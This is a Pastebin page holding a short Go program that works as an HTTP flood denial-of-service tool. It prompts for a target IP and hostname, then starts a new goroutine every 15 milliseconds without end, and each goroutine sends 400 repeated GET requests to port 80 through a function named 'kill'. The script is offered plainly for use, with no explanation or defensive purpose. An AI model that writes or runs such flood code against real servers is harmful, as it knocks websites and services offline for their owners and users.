Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- import (
- "net"
- "fmt"
- "time"
- )
- func kill (ip,host string) {
- reply := make([]byte,2048)
- message := "GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: close\r\n\r\n"
- ip = ip + ":" + "80"
- conn,err := net.Dial("tcp",ip)
- if err != nil {
- }
- x := 0
- for {
- x = x + 1
- if x == 400 {break}
- conn.Write([]byte(message))
- conn.Read(reply)
- }
- conn.Close()
- return
- }
- func main() {
- var ipinfo string
- var host string
- fmt.Print("Enter the ip : ")
- fmt.Scanln(&ipinfo)
- fmt.Print("Enter the hostname : ")
- fmt.Scanln(&host)
- for {
- go kill(ipinfo,host)
- time.Sleep(time.Millisecond * 15)
- }
- time.Sleep(time.Second * 1)
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement